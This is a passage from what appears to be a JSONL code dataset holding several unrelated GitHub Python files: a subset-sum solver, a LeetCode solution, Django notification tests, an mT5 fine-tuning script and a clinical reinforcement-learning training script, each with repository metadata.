Dynamic_imp(self,list1,n2,sum1):\r\n self.count+=1\r\n list4=[]\r\n\r\n gen2 = {z for z in range(len(list1)) if list1[z]==sum1} #if an element = total return True\r\n for z in gen2:\r\n self.count+=1\r\n print (\"found in\",list1)\r\n return True\r\n if sum1!=0 and len(list1)<1:#if the length of list 1 is empty, it must be false for this fork\r\n return False\r\n if n2<1:# if the length of list 3 is empty, it msut be false for this fork\r\n return False\r\n add=self.S[n2]\r\n list3=[x+add for x in list1] #add the bottom element to all the values\r\n\r\n del list3[n2]\r\n gen = {y for y in range(len(list3)) if list3[y]<=sum1}\r\n for y in gen: #this bit creates a new list without elements greater then t\r\n self.count+=1\r\n list4.append(list3[y])\r\n list3=list4\r\n print (\"fork 1 with set\",list3)\r\n print (\"fork 2 with set\",list1)\r\n return self.Dynamic_imp(list3,n2-1,sum1) or self.Dynamic_imp(list1,n2-1,sum1)#forks the code with one side doing the added list and the other the orginal\r\n \r\n \r\n \r\n\r\n\r\n \r\n \r\n\r\n def try_greedy_search(self):\r\n total = 0\r\n count=0\r\n while countself.t and self.t!=0:#if t is less then the smallest element it must be false\r\n print (\"t\",self.t,\"is less then smallest element\",self.S[self.n-1])\r\n return False\r\n\r\n for i in range(self.n):#if t is equal to an element it must be true (this runs O(n) times)\r\n if self.S[i] == self.t:\r\n print (\"t\",self.t,\" is equal to element\", self.S[i])\r\n return True\r\n\r\n if self.t == 0: #if t is empty it msut be true as an empty set makes 0\r\n print (\"t is 0 so can be made from empty set {}\")\r\n return True\r\n\r\n if sum(self.S)==self.t: #if the sum == t then it must be true\r\n print (\"t\",self.t,\"is equal to total sum\",sum(self.S))\r\n return True\r\n\r\n for y in range(self.n): #removes all elements greater than t\r\n if self.S[y]<=self.t:\r\n S1.append(self.S[y])\r\n self.S=S1\r\n self.n=len(S1)\r\n\r\n\r\n\r\n#tries both a yes and a any instance \r\ninstance = SSP()\r\ninstance.random_yes_instance(8, bitlength=4)\r\nprint( instance )\r\n\r\ninstance.try_at_random()\r\ninstance.try_Exaust_search()\r\ninstance.try_Dynamic_search()\r\ninstance.try_greedy_search()\r\n\r\n\r\n\r\ninstance.random_instance(8, bitlength=4)\r\nprint( instance )\r\ninstance.count=0\r\n\r\n \r\ninstance.try_at_random()\r\ninstance.try_Exaust_search()\r\ninstance.try_Dynamic_search()\r\ninstance.try_greedy_search()\r\n\r\n","repo_name":"Marsh88/380CT","sub_path":"380CTssp.py","file_name":"380CTssp.py","file_ext":"py","file_size_in_byte":6996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41371408068","text":"def is_valid(w, dic):\n dic_w = collections.defaultdict(int)\n for c in w:\n if c.isalpha():\n dic_w[c.lower()] += 1\n \n for c in dic.keys():\n if dic_w.has_key(c) == False:\n return False\n if dic_w[c] < dic[c]:\n return False\n return True\n\ndef ans(base, words):\n dic = collections.defaultdict(int)\n for i in xrange(len(base)):\n c = base[i]\n if c.isalpha():\n dic[c.lower()] += 1\n \n gw = \"\"\n glen = 0x7fffffff\n for w in words:\n if is_valid(w, dic):\n if len(w) < glen:\n gw = w\n glen = len(w)\n return gw\n\nclass Solution(object):\n def shortestCompletingWord(self, licensePlate, words):\n \"\"\"\n :type licensePlate: str\n :type words: List[str]\n :rtype: str\n \"\"\"\n return ans(licensePlate, words)\n","repo_name":"gsrr/leetcode","sub_path":"leetcode/748. Shortest Completing Word.py","file_name":"748. Shortest Completing Word.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33841145947","text":"import time\nfrom unittest import mock\n\nimport pytest\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core import mail\n\nimport snitch\nfrom snitch.models import Event\nfrom tests.app.emails import WelcomeEmail, WelcomeHTMLEmail\nfrom tests.app.events import (\n ACTIVATED_EVENT,\n CONFIRMED_EVENT,\n DUMMY_EVENT,\n DUMMY_EVENT_ASYNC,\n DUMMY_EVENT_NO_BODY,\n SMALL_EVENT,\n SPAM,\n ActivatedHandler,\n ConfirmedHandler,\n DummyAsyncHandler,\n DummyHandler,\n SpamHandler,\n)\nfrom tests.app.factories import (\n ActorFactory,\n StuffFactory,\n TargetFactory,\n TriggerFactory,\n)\nfrom tests.app.helpers import (\n dispatch_dummy_event,\n dispatch_dummy_event_async,\n dispatch_explicit_dummy_event,\n)\nfrom tests.app.models import Notification\nfrom tests.factories import UserFactory\n\n\n@pytest.mark.django_db\nclass TestSnitch:\n def test_swappable_notification_model(self):\n notification_model_class = snitch.get_notification_model()\n assert issubclass(notification_model_class, Notification)\n\n def test_register_event(self):\n # This test assume that there is an events.py file in the testing app\n assert ACTIVATED_EVENT in snitch.manager._verbs\n assert ACTIVATED_EVENT in snitch.manager._registry\n assert issubclass(\n snitch.manager._registry[ACTIVATED_EVENT], snitch.EventHandler\n )\n\n def test_dispatch_event(self):\n assert Event.objects.filter(verb=ACTIVATED_EVENT).count() == 0\n stuff = StuffFactory()\n stuff.activate()\n assert Event.objects.filter(verb=ACTIVATED_EVENT).count() == 1\n event = Event.objects.filter(verb=ACTIVATED_EVENT).first()\n assert isinstance(event.handler(), ActivatedHandler)\n handler = event.handler()\n assert handler.get_title() == ActivatedHandler.title\n\n def test_dispatch_event_with_backends(self):\n users = UserFactory.create_batch(size=5)\n assert Event.objects.filter(verb=CONFIRMED_EVENT).count() == 0\n stuff = StuffFactory()\n stuff.confirm()\n assert Event.objects.filter(verb=CONFIRMED_EVENT).count() == 1\n event = Event.objects.filter(verb=CONFIRMED_EVENT).first()\n assert isinstance(event.handler(), ConfirmedHandler)\n handler = event.handler()\n assert handler.get_title() == ConfirmedHandler.title\n assert event.notified\n assert Notification.objects.all().count() == len(users)\n notification_handler = Notification.objects.first().handler()\n assert notification_handler.notification is not None\n\n def test_dispatch_event_with_backends_async(self):\n users = UserFactory.create_batch(size=5)\n assert Event.objects.filter(verb=DUMMY_EVENT_ASYNC).count() == 0\n dispatch_dummy_event_async(\n actor=ActorFactory(), target=TargetFactory(), trigger=TriggerFactory()\n )\n assert Event.objects.filter(verb=DUMMY_EVENT_ASYNC).count() == 1\n event = Event.objects.filter(verb=DUMMY_EVENT_ASYNC).first()\n assert isinstance(event.handler(), DummyAsyncHandler)\n assert Notification.objects.all().count() == len(users)\n notification_handler = Notification.objects.first().handler()\n assert notification_handler.notification is not None\n\n def test_dispatch_event_from_function(self):\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 0\n dispatch_dummy_event(\n actor=ActorFactory(), target=TargetFactory(), trigger=TriggerFactory()\n )\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 1\n event = Event.objects.filter(verb=DUMMY_EVENT).first()\n assert isinstance(event.handler(), DummyHandler)\n assert event.target is not None\n assert event.trigger\n\n def test_dispatch_event_from_function_explicit(self):\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 0\n dispatch_explicit_dummy_event(\n actor=ActorFactory(), target=TargetFactory(), trigger=TriggerFactory()\n )\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 1\n event = Event.objects.filter(verb=DUMMY_EVENT).first()\n assert isinstance(event.handler(), DummyHandler)\n assert event.target is not None\n assert event.trigger is not None\n\n def test_dispatch_event_from_function_bad_attributes(self):\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 0\n dispatch_dummy_event(ActorFactory(), TargetFactory(), TriggerFactory())\n assert Event.objects.filter(verb=DUMMY_EVENT).count() == 0\n\n def test_ephemeral_event(self):\n assert Event.objects.filter(verb=SMALL_EVENT).count() == 0\n stuff = StuffFactory()\n stuff.small()\n assert Event.objects.filter(verb=SMALL_EVENT).count() == 1\n assert Notification.objects.filter(event__verb=SMALL_EVENT).count() == 0\n\n def test_send_email(self):\n email = WelcomeEmail(to=\"test@example.com\", context={})\n assert email.template_name == email.default_template_name\n assert email.subject == email.default_subject\n assert email.from_email == email.default_from_email\n assert email.bcc == []\n assert email.cc == []\n assert email.attaches == []\n assert email.default_context == {}\n email.send(use_async=False)\n assert 1 == len(mail.outbox)\n\n def test_send_email_with_cc_and_bcc(self):\n email = WelcomeEmail(\n to=\"test@example.com\",\n cc=[\"test@test.com\"],\n bcc=[\"test@tost.com\"],\n context={},\n )\n email.send(use_async=False)\n assert email.cc == [\"test@test.com\"]\n assert email.bcc == [\"test@tost.com\"]\n assert email.reply_to is None\n assert len(mail.outbox) == 1\n\n def test_send_email_with_non_list_addresses(self):\n email = WelcomeEmail(\n to=\"test@example.com\",\n cc=\"test@test.com\",\n bcc=\"test@tost.com\",\n context={},\n )\n email.send(use_async=False)\n assert [\"test@test.com\"] == email.cc\n assert [\"test@tost.com\"] == email.bcc\n assert email.reply_to is None\n assert len(mail.outbox) == 1\n\n @mock.patch(\"snitch.emails.ENABLED_SEND_EMAILS\", False)\n def test_not_send_email_when_disabled(self):\n email = WelcomeEmail(to=\"test@example.com\", context={})\n email.send(use_async=False)\n assert len(mail.outbox) == 0\n\n def test_dispatch_event_without_title(self):\n assert Event.objects.filter(verb=DUMMY_EVENT_NO_BODY).count() == 0\n stuff = StuffFactory()\n stuff.dummy()\n assert Event.objects.filter(verb=DUMMY_EVENT_NO_BODY).count() == 1\n event = Event.objects.filter(verb=DUMMY_EVENT_NO_BODY).first()\n assert str(event) == \"-\"\n\n def test_plain_text_email(self):\n email = WelcomeHTMLEmail(\n to=\"test@example.com\", cc=\"test@test.com\", bcc=\"test@tost.com\", context={}\n )\n assert email.get_plain_message() == \"Hello world!\"\n\n def test_cool_down(self):\n user = UserFactory()\n stuff = StuffFactory()\n for _ in range(SpamHandler.cool_down_attempts - 1):\n stuff.spam(user=user)\n assert (\n Notification.objects.filter(\n event__verb=SPAM,\n receiver_id=user.pk,\n receiver_content_type=ContentType.objects.get_for_model(user),\n ).count()\n == SpamHandler.cool_down_attempts - 1\n )\n stuff.spam(user=user)\n stuff.spam(user=user)\n assert (\n Notification.objects.filter(\n event__verb=SPAM,\n receiver_id=user.pk,\n receiver_content_type=ContentType.objects.get_for_model(user),\n ).count()\n == SpamHandler.cool_down_attempts\n )\n time.sleep(SpamHandler.cool_down_time + 1)\n stuff.spam(user=user)\n assert (\n Notification.objects.filter(\n event__verb=SPAM,\n receiver_id=user.pk,\n receiver_content_type=ContentType.objects.get_for_model(user),\n ).count()\n == SpamHandler.cool_down_attempts + 1\n )\n","repo_name":"MikeSindani/django-snitch","sub_path":"tests/test_snitch.py","file_name":"test_snitch.py","file_ext":"py","file_size_in_byte":8269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"15062952591","text":"from pytorch_lightning.accelerators import accelerator\nfrom pytorch_lightning.loggers import WandbLogger\nimport pytorch_lightning as pl\nimport pandas as pd\nimport argparse\nfrom argparse import ArgumentParser\nimport os\nimport json\nimport sys\n\nfrom evaluate import evaluate\nfrom mt5 import MT5_MODEL\nfrom pytorch_lightning.callbacks.model_checkpoint import ModelCheckpoint\nimport numpy as np\nimport torch\nimport random\n\ndef set_seed(seed):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n if torch.cuda.is_available():\n torch.cuda.manual_seed_all(seed)\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--config', default=None, type=str)\n parser.add_argument('--output_dir',type=str,default=None)\n parser.add_argument('--method',type=str,default=None)\n parser.add_argument('--CUDA_VISIBLE_DEVICES',type=str,default=None)\n parser.add_argument('--dataset', type=str, default=None)\n parser.add_argument('--checkpoint_path', type=str, default=None)\n \n arg_ = parser.parse_args()\n if arg_.config == None:\n raise NameError(\"Include a config file in the argument please.\")\n\n #Getting configurations\n with open(arg_.config) as config_file:\n hparam = json.load(config_file)\n hparam = argparse.Namespace(**hparam)\n\n\n if 'random' not in hparam:\n hparam.random = False \n if 'weight_decay' not in hparam:\n hparam.weight_decay = 0.0\n if 'grad_norm' not in hparam:\n hparam.grad_norm = 0.5\n if 'output_log' not in hparam:\n hparam.output_log = 'log/mt5.csv'\n if 'learning_rate' not in hparam:\n hparam.learning_rate = None\n if 'gradient_accumulation_steps' not in hparam:\n hparam.gradient_accumulation_steps = 1\n if 'num_train_epochs' not in hparam:\n hparam.num_train_epochs = 0\n if 'use_lr_scheduling' not in hparam:\n hparam.use_lr_scheduling = False\n if 'num_workers' not in hparam:\n hparam.num_workers = 0\n if 'output_dir' not in hparam:\n hparam.output_dir = None\n if 'wandb_log' not in hparam:\n hparam.wandb_log = False\n if 'accelerator' not in hparam:\n hparam.accelerator = None\n if 'max_steps' not in hparam:\n hparam.max_steps = None\n if 'checkpoint_path' not in hparam:\n hparam.checkpoint_path =''\n if 'method' not in hparam: \n hparam.method = 'baseline'\n if 'eval_with_prob' not in hparam:\n hparam.eval_with_prob = False\n if 'eos_token' not in hparam:\n hparam.eos_token = True\n if 'required_classification' not in hparam:\n hparam.required_classification = False\n if 'eval_dataset' not in hparam:\n hparam.eval_dataset = None\n if 'train_batch_size' not in hparam:\n hparam.train_batch_size = 1\n if 'eval_batch_size' not in hparam:\n hparam.eval_batch_size = 1\n if 'precision' not in hparam:\n hparam.precision = 'bf16'\n if 'use_pad_sequence_max' not in hparam:\n hparam.use_pad_sequence_max = False\n if 'max_sequence_length' not in hparam:\n hparam.max_sequence_length = 64\n if 'optimizer_type' not in hparam:\n hparam.optimizer_type = 'adafactor'\n\n if hparam.wandb_log:\n wandb_logger = WandbLogger(project=hparam.wandb_project, name=hparam.wandb_run_name)\n wandb_logger.log_hyperparams(hparam)\n else:\n wandb_logger = None\n\n if arg_.dataset is not None:\n hparam.dataset = arg_.dataset\n if arg_.checkpoint_path is not None:\n hparam.checkpoint_path = arg_.checkpoint_path \n\n #Setting configurations\n args_dict = dict(\n required_classification = hparam.required_classification,\n dataset_length = hparam.dataset_length,\n dataset=hparam.dataset,\n max_input_length=hparam.input_length,\n max_output_length=hparam.output_length,\n train_batch_size=hparam.train_batch_size,\n eval_batch_size=hparam.eval_batch_size,\n n_gpu=hparam.n_gpu,\n model_name_or_path=hparam.model_name_or_path,\n output_log=hparam.output_log,\n mode=hparam.mode,\n output_dir=hparam.output_dir,\n weight_decay=hparam.weight_decay,\n learning_rate=hparam.learning_rate,\n gradient_accumulation_steps=hparam.gradient_accumulation_steps,\n num_train_epochs=hparam.num_train_epochs,\n max_grad_norm=hparam.grad_norm,\n use_lr_scheduling=hparam.use_lr_scheduling,\n num_workers=hparam.num_workers,\n accelerator=hparam.accelerator,\n max_steps=hparam.max_steps,\n checkpoint_path=hparam.checkpoint_path,\n opt_level='O1',\n method=hparam.method,\n eval_with_prob=hparam.eval_with_prob,\n eos_token=hparam.eos_token,\n precision = hparam.precision,\n use_pad_sequence_max = hparam.use_pad_sequence_max,\n max_sequence_length = hparam.max_sequence_length,\n optimizer_type=hparam.optimizer_type\n )\n args = argparse.Namespace(**args_dict)\n\n checkpoint_callback = False # Do not save model checkpoints when output dir is empty\n callbacks=[] \n\n # Logging Learning Rate Scheduling\n if args.use_lr_scheduling and hparam.wandb_log:\n callbacks.append(pl.callbacks.LearningRateMonitor())\n\n set_seed(42)\n\n if 'mt5' in args.model_name_or_path:\n model = MT5_MODEL(args)\n\n if args.checkpoint_path!=\"\":\n print(args.checkpoint_path)\n loaded_ckpt = torch.load(args.checkpoint_path)\n \n loaded_model={}\n for key, value in loaded_ckpt.items():\n loaded_model['model.'+key] = value\n\n model.load_state_dict(loaded_model, strict=False)\n\n if args.mode == 'evaluate':\n import time\n start = time.time()\n evaluate(args, model) \n\n end = time.time()\n print(f'Time: {end-start}')\n elif args.mode == 'finetune':\n train_params = dict(\n accumulate_grad_batches=args.gradient_accumulation_steps,\n devices=args.n_gpu,\n max_epochs=args.num_train_epochs,\n gradient_clip_val=args.max_grad_norm,\n precision = args.precision,\n enable_checkpointing=checkpoint_callback,\n logger=wandb_logger,\n callbacks = callbacks,\n strategy=args.accelerator,\n #accelerator = 'cpu'\n )\n trainer= pl.Trainer(**train_params)\n #trainer.test(model)\n import time\n start = time.time()\n trainer.fit(model)\n end = time.time()\n print(f'Time: {end-start}')","repo_name":"CHLee0801/mt5_code","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74775833494","text":"#!/usr/bin/env python\n# coding=utf-8\n\n\nimport sys\n\nimport os\nimport sys\nimport time\nimport numpy as np\nfrom sklearn import metrics\nimport random\nimport json\nfrom collections import OrderedDict\nfrom tqdm import tqdm\n\n\nimport torch\nfrom torch.autograd import Variable\nfrom torch.backends import cudnn\nfrom torch.nn import DataParallel\nfrom torch.utils.data import DataLoader\n\nimport data_loader\nimport model, loss\n\nsys.path.append('../tools')\nimport parse, py_op\n\nargs = parse.args\nshort_loss = loss.ShortLoss_3()\n\nmodel_dir = os.path.join(args.data_dir, 'model')\nif not os.path.exists(model_dir):\n os.mkdir(model_dir)\n\ntry:\n icustayid_risk_dict = torch.load(os.path.join(args.file_dir, 'mechvent.icustayid_risk_dict.ckpt'))\nexcept:\n icustayid_risk_dict = dict()\nicustayid_risk_dict = torch.load(os.path.join(args.file_dir, 'mechvent.icustayid_risk_dict.ckpt'))\n\ndef _cuda(tensor, is_tensor=True):\n if args.gpu:\n if is_tensor:\n return tensor.cuda()\n else:\n return tensor.cuda()\n else:\n return tensor\n\ndef train_eval_ae_epoch(epoch, lr, autoencoder, optimizer, enc_criterion, loader, best_metric, phase):\n if args.phase == 'train':\n autoencoder.train()\n else:\n autoencoder.eval()\n\n loss_list = []\n for data in tqdm(loader):\n data = [Variable(_cuda(x)) for x in data]\n collection_crt, collection_nxt, mask_crt, mask_nxt, action_crt, action_nxt = data[:6]\n encoded, decoded_crt, decoded_nxt = autoencoder(collection_crt)\n loss = enc_criterion(decoded_crt, collection_crt, mask_crt) + enc_criterion(decoded_nxt, collection_nxt, mask_nxt)\n if phase == 'train':\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n loss_list.append(loss.data.cpu().numpy())\n print('{:s} Epoch {:d} (lr {:0.5f})'.format(phase, epoch, lr))\n print('loss: {:3.4f} \\t'.format(np.mean(loss_list))) \n if phase == 'valid':\n if np.mean(loss_list) < best_metric[1]:\n best_metric = [epoch, np.mean(loss_list)]\n torch.save(autoencoder.state_dict(), os.path.join(model_dir, 'autoencoder'))\n print('\\t\\t autoencoder: best epoch: {:d} \\t best metric:{:0.8f}'.format(best_metric[0], best_metric[1]))\n return best_metric\n\ndef train_eval_state_prediction(epoch, lr, autoencoder, state_prediction, optimizer, enc_criterion, loader, best_metric, phase):\n if args.phase == 'train':\n state_prediction.train()\n else:\n state_prediction.eval()\n autoencoder.eval()\n\n loss_list = []\n for data in tqdm(loader):\n data = [Variable(_cuda(x)) for x in data]\n collection_crt, collection_nxt, mask_crt, mask_nxt, action_crt, action_nxt = data[:6]\n hidden_state, _, _ = autoencoder(collection_crt)\n hidden_state_nxt, decoded_nxt = state_prediction(hidden_state, action_nxt)\n\n decoded_nxt = decoded_nxt.view(-1)\n collection_nxt = collection_nxt.view(-1)\n mask_nxt = mask_nxt.view(-1)\n assert len(decoded_nxt) == len(collection_nxt) == len(mask_nxt)\n\n ids = mask_nxt < 0\n loss = enc_criterion(decoded_nxt[ids], collection_nxt[ids])\n if phase == 'train':\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n loss_list.append(loss.data.cpu().numpy())\n\n print('{:s} Epoch {:d} (lr {:0.5f})'.format(phase, epoch, lr))\n print('loss: {:3.4f} \\t'.format(np.mean(loss_list))) \n if phase == 'valid':\n if np.mean(loss_list) < best_metric[1]:\n best_metric = [epoch, np.mean(loss_list)]\n torch.save(state_prediction.state_dict(), os.path.join(model_dir, 'state_prediction'))\n print('\\t\\t state prediction: best epoch: {:d} \\t best metric:{:0.4f}'.format(best_metric[0], best_metric[1]))\n return best_metric\n\ndef collect_gt_prob(prob_list, action_nxt, mask_nxt, mortality, gamma=0.99):\n prob_list = [p.data.cpu().numpy() for p in prob_list]\n\n action_nxt = action_nxt.data.cpu().numpy()\n assert len(action_nxt.shape) == 3 and action_nxt.shape[2] == 3\n action_nxt = action_nxt[:, :, 0] * 49 + action_nxt[:, :, 1] * 7 + action_nxt[:, :, 2] \n\n decoded_nxt = np.zeros([action_nxt.shape[0], action_nxt.shape[1], 343])\n for i in range(7):\n for j in range(7):\n for k in range(7):\n decoded_nxt[:, :, i * 49 + j* 7 + k] = prob_list[0][ :, :, i] * prob_list[1][ :, :, j] * prob_list[2][ :, :, k]\n\n\n\n probs_list = []\n rewas_list = []\n preds_list = []\n trues_list = []\n for dn, an, mn, mo in zip(decoded_nxt, action_nxt, mask_nxt.data.cpu().numpy(), mortality.data.cpu().numpy()):\n prob_list = []\n rewa_list = []\n pred_list = []\n true_list = []\n mo = 2 * (0.5 - mo[0])\n for d, a, m in zip(dn, an, mn):\n if m < 0.5:\n rewa_list.append(mo)\n mo = mo * gamma\n prob_list.append(d[int(a)])\n true_list.append(int(a))\n pred_list.append(np.argmax(d))\n rewa_list = rewa_list[::-1]\n probs_list.append(prob_list)\n rewas_list.append(rewa_list)\n preds_list.append(pred_list)\n trues_list.append(true_list)\n return probs_list, rewas_list, preds_list, trues_list\n\ndef train_eval_action_imitation(epoch, lr, action_imitation, optimizer, enc_criterion, loader, best_metric, phase):\n if args.phase == 'train':\n action_imitation.train()\n else:\n action_imitation.eval()\n\n result_dict = dict()\n\n\n loss_list = []\n sum_correct, sum_valid = 0.00001, 0\n probs_list, rewas_list, preds_list, trues_list, morts_list = [], [], [], [], []\n for data in tqdm(loader):\n data[:-1] = [Variable(_cuda(x)) for x in data[:-1]]\n collection_crt, collection_nxt, mask_crt, mask_nxt, action_crt, action_nxt, mortality, reward, short_reward, estimated_mortality = data[:10]\n prob_list, next_list = action_imitation(collection_crt, action_crt)\n if phase != 'train':\n ps_list, rs_list, pr_list, ts_list = collect_gt_prob(prob_list, action_nxt, mask_nxt[:, :, 0], mortality)\n probs_list += ps_list\n rewas_list += rs_list\n preds_list += pr_list\n trues_list += ts_list\n # print(len(probs_list), len(rewas_list))\n\n # loss, n_correct, n_valid = enc_criterion(decoded_nxt, action_nxt, mask_nxt[:, :, 0], reward)\n loss, n_correct, n_valid = short_loss(prob_list, action_nxt, mask_nxt[:, :, 0], short_reward)\n q_value_list, error_list = enc_criterion(prob_list, action_nxt, mask_nxt, reward)\n\n if phase == 'test':\n for id in data[-1]:\n id = int(id)\n result_dict[id] = dict()\n for i_a in range(3):\n for id, prob, mask in zip(data[-1], prob_list[i_a].data.cpu().numpy(), mask_nxt.data.cpu().numpy()):\n id = int(id)\n result_dict[id]['mask'] = mask[:, 0]\n result_dict[id][str(i_a)] = prob\n\n # print(n_correct, n_valid)\n sum_correct += n_correct\n sum_valid += n_valid\n if phase == 'train':\n optimizer.zero_grad()\n loss.backward(retain_graph=True)\n for i_a, q_value, d_error in zip(range(3), q_value_list, error_list):\n # break\n if i_a == 2:\n retain_graph = False\n else:\n retain_graph = True\n q_value.backward(0.1 * d_error.data, retain_graph=retain_graph)\n optimizer.step()\n else:\n # print(estimated_mortality.size())\n estimated_mortality = estimated_mortality.data.cpu().numpy()\n # print(estimated_mortality.shape, estimated_mortality.max())\n action_nxt_data = action_nxt.data.cpu().numpy()\n mask_data = mask_crt.data.cpu().numpy()[:, :, 0].reshape(-1)\n mort = []\n bs = len(collection_crt)\n for i in range(3):\n em = estimated_mortality[:, i, :, :].reshape((-1, 7))\n # ac = action_nxt_data[:, :, i].reshape(-1)\n ac = prob_list[i].data.cpu().numpy().argmax(2).reshape(-1)\n assert len(mask_data) == len(em) == len(ac)\n em = em[list(range(len(em))), list(ac)]\n em[mask_data > 0.5] = 0\n for j in range(0, len(em), bs):\n em_p = em[j: j+bs]\n em_p = em_p[em_p > 0]\n if len(em_p) > 0:\n em_max = em_p.max()\n em_mean = em_p.mean()\n mort.append(em_max)\n else:\n mort.append(0)\n morts_list.append(mort)\n \n loss_list.append(loss.data.cpu().numpy())\n print('{:s} Epoch {:d} (lr {:0.5f})'.format(phase, epoch, lr))\n print('{:s} loss: {:3.4f} \\t'.format(args.loss, np.mean(loss_list))) \n acc = float(sum_correct) / sum_valid\n print('accuracy: {:3.4f} \\t'.format(acc))\n if phase in ['valid', 'test']:\n wis = py_op.compute_wis(probs_list, rewas_list)\n jaccard = py_op.compute_jaccard(preds_list, trues_list)\n em = py_op.compute_estimated_mortality(morts_list)\n print('wis: {:3.4f} \\t'.format(wis))\n print('jaccard: {:3.4f} \\t'.format(jaccard))\n print('estimated mortality: {:3.4f} \\t'.format(em))\n\n # if acc > best_metric[2]:\n # if jaccard > best_metric[3]:\n if phase == 'valid':\n if wis > best_metric[1]:\n best_metric = [epoch, wis, acc, jaccard, em]\n torch.save(action_imitation.state_dict(), os.path.join(model_dir, 'action_imitation'))\n print('\\t\\t action imitation: best epoch: {:d} wis:{:0.4f} acc:{:0.4f} jaccard:{:1.4f} estimated mortality:{:1.3f}'.format(best_metric[0], best_metric[1], best_metric[2], best_metric[3], best_metric[4]))\n else:\n torch.save(result_dict, '../data/result_dict.ckpt')\n # print(type(probs_list), type(rewas_list))\n return best_metric\n\ndef train_autoencoder(train_loader, valid_loader):\n\n autoencoder = model.autoEncoder(30, 128)\n autoencoder.load_state_dict(torch.load(os.path.join(model_dir, 'autoencoder')))\n enc_criterion = loss.MSELoss()\n optimizer = torch.optim.Adam(autoencoder.parameters(), lr=args.lr)\n \n best_metric = [0, 10e10]\n for epoch in range(1, args.autoencoder_epochs + 1):\n train_eval_ae_epoch(epoch, args.lr, autoencoder, optimizer, enc_criterion, train_loader, best_metric, 'train')\n best_metric = train_eval_ae_epoch(epoch, args.lr, autoencoder, optimizer, enc_criterion, valid_loader, best_metric, 'valid')\n\ndef train_state_prediction(train_loader, valid_loader):\n\n autoencoder = model.autoEncoder(30, 128)\n autoencoder.load_state_dict(torch.load(os.path.join(model_dir, 'autoencoder')))\n state_prediction = model.statePrediction(30, 128)\n enc_criterion = loss.MSELoss()\n optimizer = torch.optim.Adam(state_prediction.parameters(), lr=args.lr)\n \n best_metric = [0, 10e10]\n for epoch in range(1, args.state_prediction_epochs + 1):\n train_eval_ae_epoch(epoch, args.lr, autoencoder, optimizer, enc_criterion, valid_loader, [0, 0], 'test')\n train_eval_state_prediction(epoch, args.lr, autoencoder, state_prediction, optimizer, enc_criterion, train_loader, best_metric, 'train')\n best_metric = train_eval_state_prediction(epoch, args.lr, autoencoder, state_prediction, optimizer, enc_criterion, valid_loader, best_metric, 'valid')\n\ndef train_action_imitation(train_loader, valid_loader):\n\n # autoencoder = model.autoEncoder(30, 128)\n # autoencoder.load_state_dict(torch.load(os.path.join(model_dir, 'autoencoder')))\n action_imitation = model.actionImitation_3(30, 128)\n # qloss = loss.ShortLoss_3()\n qloss = loss.QLoss_3()\n closs = loss.ClassifyLoss_3()\n optimizer = torch.optim.Adam(action_imitation.parameters(), lr=args.lr)\n \n best_metric = [0, 0, 0, 0, 0]\n for epoch in range(1, args.action_imitation_epochs + 1):\n enc_criterion = qloss\n # enc_criterion = closs\n # if args.loss == 'dqn':\n # enc_criterion = qloss\n # else:\n # enc_criterion = closs\n train_eval_action_imitation(epoch, args.lr, action_imitation, optimizer, enc_criterion, train_loader, best_metric, 'train')\n best_metric = train_eval_action_imitation(epoch, args.lr, action_imitation, optimizer, enc_criterion, valid_loader, best_metric, 'valid')\n\ndef test_action_imitation(train_loader, valid_loader):\n\n # autoencoder = model.autoEncoder(30, 128)\n action_imitation = model.actionImitation_3(30, 128)\n action_imitation.load_state_dict(torch.load(os.path.join(model_dir, 'action_imitation')))\n # qloss = loss.ShortLoss_3()\n qloss = loss.QLoss_3()\n closs = loss.ClassifyLoss_3()\n optimizer = torch.optim.Adam(action_imitation.parameters(), lr=args.lr)\n \n best_metric = [0, 0, 0, 0, 0]\n epoch = 0\n enc_criterion = qloss\n train_eval_action_imitation(epoch, args.lr, action_imitation, optimizer, enc_criterion, valid_loader, best_metric, 'test')\n\ndef main():\n icustayid_split_dict = py_op.myreadjson(os.path.join(args.file_dir, 'mechvent.icustayid_split_dict.json'))\n icustayid_train = icustayid_split_dict['icustayid_train']\n icustayid_valid = icustayid_split_dict['icustayid_valid']\n\n # id risk\n dataset = data_loader.DataBowl(args, icustayid_train, phase='train')\n train_loader = DataLoader(dataset, batch_size=args.batch_size, shuffle=True, num_workers=args.workers, pin_memory=True)\n dataset = data_loader.DataBowl(args, icustayid_valid, phase='valid')\n valid_loader = DataLoader(dataset, batch_size=args.batch_size, shuffle=False, num_workers=args.workers, pin_memory=True)\n train_mortality_prediction(train_loader, valid_loader)\n\n if args.use_ci:\n dataset = data_loader.CIDataBowl(args, icustayid_train, phase='train')\n train_loader = DataLoader(dataset, batch_size=args.batch_size, shuffle=True, num_workers=args.workers, pin_memory=True)\n # train_autoencoder(train_loader, valid_loader)\n # train_state_prediction(train_loader, valid_loader)\n \n train_action_imitation(train_loader, valid_loader)\n test_action_imitation(train_loader, valid_loader)\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"yinchangchang/DAC","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14510,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"10208301590","text":"# -*- encoding: utf-8 -*-\n# pylint: disable=E0203,E1101,C0111\n\"\"\"\n@file\n@brief Runtime operator.\n\"\"\"\nimport numpy\nfrom ._op import OpRun\nfrom ._new_ops import OperatorSchema\n\n\nclass BroadcastGradientArgs(OpRun):\n\n atts = {}\n\n def __init__(self, onnx_node, desc=None, 